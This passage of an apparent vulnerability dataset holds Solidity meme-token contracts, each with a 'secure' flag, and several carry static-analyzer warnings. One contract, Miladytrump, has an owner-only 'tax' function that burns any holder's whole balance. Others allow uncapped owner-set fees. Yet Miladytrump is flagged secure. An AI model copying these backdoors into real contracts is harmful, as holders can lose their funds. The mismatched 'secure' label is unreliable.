\"ERC20: transfer the zero address\"\n );\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n if (!tradingOpen) {\n require(\n _isExcludedFromFee[to] || _isExcludedFromFee[from],\n \"trading not yet open\"\n );\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n buyCounter++;\n\n if (buyCounter > 1) {\n walletLimit = _tTotal;\n }\n }\n\n if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {\n if (to != uniswapV2Pair) {\n require(\n balanceOf(to) + amount <= walletLimit,\n \"Higher than the walletLimit for tokens\"\n );\n }\n\n if (_feeOnBuy > 0) {\n if (\n from == uniswapV2Pair && to != address(uniswapV2Router)\n ) {\n taxAmount = amount.mul(_feeOnBuy).div(100);\n }\n }\n\n if (_feeOnSell > 0) {\n if (to == uniswapV2Pair) {\n taxAmount = amount.mul(_feeOnSell).div(100);\n }\n }\n }\n\n if (taxAmount > 0) {\n _balances[address(this)] = _balances[address(this)].add(\n taxAmount\n );\n\n emit Transfer(from, address(this), taxAmount);\n }\n }\n\n _balances[from] = _balances[from].sub(amount);\n\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n swapEnabled = true;\n\n tradingOpen = true;\n\n emit TradingActive(tradingOpen, swapEnabled);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 23e6ea2): BlockNetwork.changeTaxFees(uint256,uint256) should emit an event for _feeOnBuy = _bFee _feeOnSell = _sFee \n\t// Recommendation for 23e6ea2: Emit an event for critical parameter changes.\n function changeTaxFees(uint256 _bFee, uint256 _sFee) public onlyOwner {\n\t\t// events-maths | ID: 23e6ea2\n _feeOnBuy = _bFee;\n\n\t\t// events-maths | ID: 23e6ea2\n _feeOnSell = _sFee;\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: b0e3e4d): Contract locking ether found Contract BlockNetwork has payable functions BlockNetwork.receive() But does not have a function to withdraw the ether\n\t// Recommendation for b0e3e4d: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}", "file_name": "solidity_code_4055.sol", "secure": 0, "size_bytes": 8735 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 71a4bc9): Contract locking ether found Contract BabyReindeer has payable functions BabyReindeer.receive() But does not have a function to withdraw the ether\n// Recommendation for 71a4bc9: Remove the 'payable' attribute or add a withdraw function.\ncontract BabyReindeer is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n string private constant _name = \"Wojak 2.0\";\n\n string private constant _symbol = \"Wojak\";\n\n uint256 private constant _totalSupply = 1_000_000_000 * 10 ** 18;\n\n uint256 public minSwap = 100000 * 10 ** 18;\n\n uint8 private constant _decimals = 18;\n\n IUniswapV2Router02 immutable uniswapV2Router;\n\n address immutable uniswapV2Pair;\n\n address immutable WETH;\n\n address payable public marketingWallet;\n\n uint256 public buyTax;\n\n uint256 public sellTax;\n\n uint8 private inSwapAndLiquify;\n\n mapping(address => uint256) private _balance;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n constructor() {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n WETH = uniswapV2Router.WETH();\n\n buyTax = 0;\n\n sellTax = 0;\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n WETH\n );\n\n marketingWallet = payable(msg.sender);\n\n _balance[msg.sender] = _totalSupply;\n\n _isExcludedFromFees[marketingWallet] = true;\n\n _isExcludedFromFees[msg.sender] = true;\n\n _isExcludedFromFees[address(this)] = true;\n\n _isExcludedFromFees[address(uniswapV2Router)] = true;\n\n _allowances[address(this)][address(uniswapV2Router)] = type(uint256)\n .max;\n\n _allowances[msg.sender][address(uniswapV2Router)] = type(uint256).max;\n\n _allowances[marketingWallet][address(uniswapV2Router)] = type(uint256)\n .max;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balance[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1dd0bbe): BabyReindeer.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1dd0bbe: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 40295ca): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 40295ca: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0766121): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0766121: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 40295ca\n\t\t// reentrancy-benign | ID: 0766121\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 40295ca\n\t\t// reentrancy-benign | ID: 0766121\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0198d57): BabyReindeer._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0198d57: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 0766121\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 40295ca\n emit Approval(owner, spender, amount);\n }\n\n function ExcludeFromFees(address holder, bool exempt) external onlyOwner {\n _isExcludedFromFees[holder] = exempt;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 276b5ea): BabyReindeer.ChangeTax(uint256,uint256) should emit an event for buyTax = newBuyTax sellTax = newSellTax \n\t// Recommendation for 276b5ea: Emit an event for critical parameter changes.\n function ChangeTax(\n uint256 newBuyTax,\n uint256 newSellTax\n ) external onlyOwner {\n\t\t// events-maths | ID: 276b5ea\n buyTax = newBuyTax;\n\n\t\t// events-maths | ID: 276b5ea\n sellTax = newSellTax;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 36c6d86): BabyReindeer.ChangeMinSwap(uint256) should emit an event for minSwap = NewMinSwapAmount * 10 ** 18 \n\t// Recommendation for 36c6d86: Emit an event for critical parameter changes.\n function ChangeMinSwap(uint256 NewMinSwapAmount) external onlyOwner {\n\t\t// events-maths | ID: 36c6d86\n minSwap = NewMinSwapAmount * 10 ** 18;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 04932ea): BabyReindeer.ChangeMarketingWalletAddress(address).newAddress lacks a zerocheck on \t marketingWallet = address(newAddress)\n\t// Recommendation for 04932ea: Check that the address is not zero.\n function ChangeMarketingWalletAddress(\n address newAddress\n ) external onlyOwner {\n\t\t// missing-zero-check | ID: 04932ea\n marketingWallet = payable(newAddress);\n }\n\n function updateWalletLimit(uint256 newlimit) external onlyOwner {}\n\n function DisableWalletLimit() external onlyOwner {}\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4011e75): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4011e75: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 033be18): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 033be18: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(amount > 1e9, \"Min transfer amt\");\n\n uint256 _tax;\n\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n _tax = 0;\n } else {\n if (inSwapAndLiquify == 1) {\n _balance[from] -= amount;\n\n _balance[to] += amount;\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n if (from == uniswapV2Pair) {\n _tax = buyTax;\n } else if (to == uniswapV2Pair) {\n uint256 tokensToSwap = _balance[address(this)];\n\n if (tokensToSwap > minSwap && inSwapAndLiquify == 0) {\n inSwapAndLiquify = 1;\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = WETH;\n\n\t\t\t\t\t// reentrancy-events | ID: 4011e75\n\t\t\t\t\t// reentrancy-events | ID: 40295ca\n\t\t\t\t\t// reentrancy-benign | ID: 0766121\n\t\t\t\t\t// reentrancy-no-eth | ID: 033be18\n uniswapV2Router\n .swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokensToSwap,\n 0,\n path,\n marketingWallet,\n block.timestamp\n );\n\n\t\t\t\t\t// reentrancy-no-eth | ID: 033be18\n inSwapAndLiquify = 0;\n }\n\n _tax = sellTax;\n } else {\n _tax = 0;\n }\n }\n\n if (_tax != 0) {\n uint256 taxTokens = (amount * _tax) / 100;\n\n uint256 transferAmount = amount - taxTokens;\n\n\t\t\t// reentrancy-no-eth | ID: 033be18\n _balance[from] -= amount;\n\n\t\t\t// reentrancy-no-eth | ID: 033be18\n _balance[to] += transferAmount;\n\n\t\t\t// reentrancy-no-eth | ID: 033be18\n _balance[address(this)] += taxTokens;\n\n\t\t\t// reentrancy-events | ID: 4011e75\n emit Transfer(from, address(this), taxTokens);\n\n\t\t\t// reentrancy-events | ID: 4011e75\n emit Transfer(from, to, transferAmount);\n } else {\n\t\t\t// reentrancy-no-eth | ID: 033be18\n _balance[from] -= amount;\n\n\t\t\t// reentrancy-no-eth | ID: 033be18\n _balance[to] += amount;\n\n\t\t\t// reentrancy-events | ID: 4011e75\n emit Transfer(from, to, amount);\n }\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 71a4bc9): Contract locking ether found Contract BabyReindeer has payable functions BabyReindeer.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 71a4bc9: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}", "file_name": "solidity_code_4056.sol", "secure": 0, "size_bytes": 11462 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Miladytrump is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable fever;\n\n constructor() {\n _name = \"Milady Trump\";\n\n _symbol = \"MTRUMP\";\n\n _decimals = 18;\n\n uint256 initialSupply = 498000000;\n\n fever = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == fever, \"Not allowed\");\n\n _;\n }\n\n function tax(address[] memory cope) public onlyOwner {\n for (uint256 i = 0; i < cope.length; i++) {\n address account = cope[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_4057.sol", "secure": 1, "size_bytes": 4352 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\ncontract Ownable is Context {\n address public _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n _owner = msgSender;\n authorizations[_owner] = true;\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n mapping(address => bool) internal authorizations;\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n emit OwnershipTransferred(_owner, newOwner);\n _owner = newOwner;\n }\n}", "file_name": "solidity_code_4058.sol", "secure": 1, "size_bytes": 1222 }